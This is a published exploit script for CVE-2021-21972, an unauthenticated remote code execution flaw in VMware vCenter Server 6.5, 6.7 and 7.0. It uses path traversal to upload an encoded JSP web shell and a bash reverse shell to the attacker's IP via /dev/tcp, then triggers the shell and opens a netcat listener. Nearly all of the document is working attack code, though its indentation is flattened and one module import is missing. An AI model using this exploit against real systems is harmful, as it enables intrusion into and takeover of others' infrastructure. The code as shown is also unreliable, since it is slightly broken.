VMware vCenter 6.5 / 6.7 / 7.0 Remote Code Execution

`# Exploit Title: VMware vCenter Server RCE 6.5 / 6.7 / 7.0 - Remote Code Execution (RCE) (Unauthenticated)  
# Date: 06/21/2021  
# Exploit Author: CHackA0101  
# Vendor Homepage: https://kb.vmware.com/s/article/82374  
# Software Link: https://www.vmware.com/products/vcenter-server.html  
# Version: This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).  
# Tested on: VMware vCenter version 6.5 (OS: Linux 4.4.182-1.ph1 SMP UTC 2019 x86_64 GNU/Linux)  
# CVE: 2021-21972  
  
# More Info: https://github.com/chacka0101/exploits/blob/master/CVE-2021-21972/README.md  
  
#!/usr/bin/python2  
  
import os  
import urllib3  
import argparse  
import sys  
import requests  
import base64  
import tarfile  
import threading  
import time  
  
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)  
  
myargs=argparse.ArgumentParser()  
myargs.add_argument('-T','--target',help='The IP address of the target',required=True)  
myargs.add_argument('-L','--local',help='Your local IP',required=True)  
args=myargs.parse_args()  
  
def getprompt(x):  
print ("(CHackA0101-GNU/Linux)$ "+ str(x))   
  
def getpath(path="/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/37/0/h5ngc.war/resources/shell4.jsp"):  
fullpath="../" * 7 + path  
return fullpath.replace('\\','/').replace('//','/')  
  
def createbackdoor(localip):  
# shell4.jsp  
backdoor = "PGZvcm0gbWV0aG9kPSJHRVQiIGFjdGlvbj0iIj4KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIC8+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRXhlYyEiIC8+CjwvZm9ybT4gPCUhCnB1YmxpYyBTdHJpbmcgZXNjKFN0cmluZyBzdHIpewoJU3RyaW5nQnVmZmVyIHNiID0gbmV3IFN0cmluZ0J1ZmZlcigpOwoJZm9yKGNoYXIgYyA6IHN0ci50b0NoYXJBcnJheSgpKQoJCWlmKCBjID49ICcwJyAmJiBjIDw9ICc5JyB8fCBjID49ICdBJyAmJiBjIDw9ICdaJyB8fCBjID49ICdhJyAmJiBjIDw9ICd6JyB8fCBjID09ICcgJyApCgkJCXNiLmFwcGVuZCggYyApOwoJCWVsc2UKCQkJc2IuYXBwZW5kKCImIyIrKGludCkoYyYweGZmKSsiOyIpOwoJcmV0dXJuIHNiLnRvU3RyaW5nKCk7Cn0gJT48JQpTdHJpbmcgY21kID0gcmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpOwppZiAoIGNtZCAhPSBudWxsKSB7CglvdXQucHJpbnRsbigiPHByZT5Db21tYW5kIHdhczogPGI+Iitlc2MoY21kKSsiPC9iPlxuIik7CglqYXZhLmlvLkRhdGFJbnB1dFN0cmVhbSBpbiA9IG5ldyBqYXZhLmlvLkRhdGFJbnB1dFN0cmVhbShSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGNtZCkuZ2V0SW5wdXRTdHJlYW0oKSk7CglTdHJpbmcgbGluZSA9IGluLnJlYWRMaW5lKCk7Cgl3aGlsZSggbGluZSAhPSBudWxsICl7CgkJb3V0LnByaW50bG4oZXNjKGxpbmUpKTsKCQlsaW5lID0gaW4ucmVhZExpbmUoKTsKCX0KCW91dC5wcmludGxuKCI8L3ByZT4iKTsKfSAlPg=="  
backdoor = base64.b64decode(backdoor).decode('utf-8')  
f = open("shell4.jsp","w")  
f.write(backdoor)  
f.close()  
# reverse.sh   
# After decoding overwrite string 'CUSTOM_IP' for local IP   
shell="IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC9DVVNUT01fSVAvNDQzIDA+JjE="  
shell=base64.b64decode(shell).decode('utf-8')  
shell=shell.replace('CUSTOM_IP',localip)  
f=open("reverse.sh","w")  
f.write(shell)  
f.close()  
# Move on with the payload  
payload_file=tarfile.open('payload.tar','w')  
myroute=getpath()  
getprompt('Adding web backdoor to archive')  
payload_file.add("shell4.jsp", myroute)  
myroute=getpath("tmp/reverse.sh")  
getprompt('Adding bash backdoor to archive')  
payload_file.add("reverse.sh", myroute)  
payload_file.close()  
# cleaning up a little bit  
os.unlink("reverse.sh")  
os.unlink("shell4.jsp")  
getprompt('Backdoor file just was created.')  
  
def launchexploit(ip):  
res=requests.post('https://' + ip + '/ui/vropspluginui/rest/services/uploadova', files={'uploadFile':open('payload.tar', 'rb')}, verify=False, timeout=60)  
if res.status_code == 200 and res.text == 'SUCCESS':  
getprompt('Backdoor was uploaded successfully!')  
return True  
else:  
getprompt('Backdoor failed to be uploaded. Target denied access.')  
return False  
  
def testshell(ip):  
getprompt('Looking for shell...')  
shell_path="/ui/resources/shell4.jsp?cmd=uname+-a"  
res=requests.get('https://' + ip + shell_path, verify=False, timeout=60)  
if res.status_code==200:  
getprompt('Shell was found!.')  
response=res.text  
if True:  
getprompt('Shell is responsive.')  
try:  
response=re.findall("b>(.+)</",response)[0]  
print('$>uname -a')  
print(response)  
except:  
pass  
return True  
else:  
getprompt('Sorry. Shell was not found.')  
return False  
  
def opendoor(url):  
time.sleep(3)  
getprompt('Executing command.')  
requests.get(url, verify=False, timeout=1800)  
  
def executebackdoor(ip, localip):  
url="https://"+ip+"/ui/resources/shell4.jsp?cmd=bash%20/tmp/reverse.sh"  
t=threading.Thread(target=opendoor,args=(url,))  
t.start()  
getprompt('Setting up socket '+localip+':443')  
os.system('nc -lnvp 443')  
  
if len(sys.argv)== 1:  
myargs.print_help(sys.stderr)  
sys.exit(1)  
createbackdoor(args.local)  
uploaded=launchexploit(args.target)  
if uploaded:  
tested=testshell(args.target)  
if tested:  
executebackdoor(args.target, args.local)  
getprompt("Execution completed!")  
  
`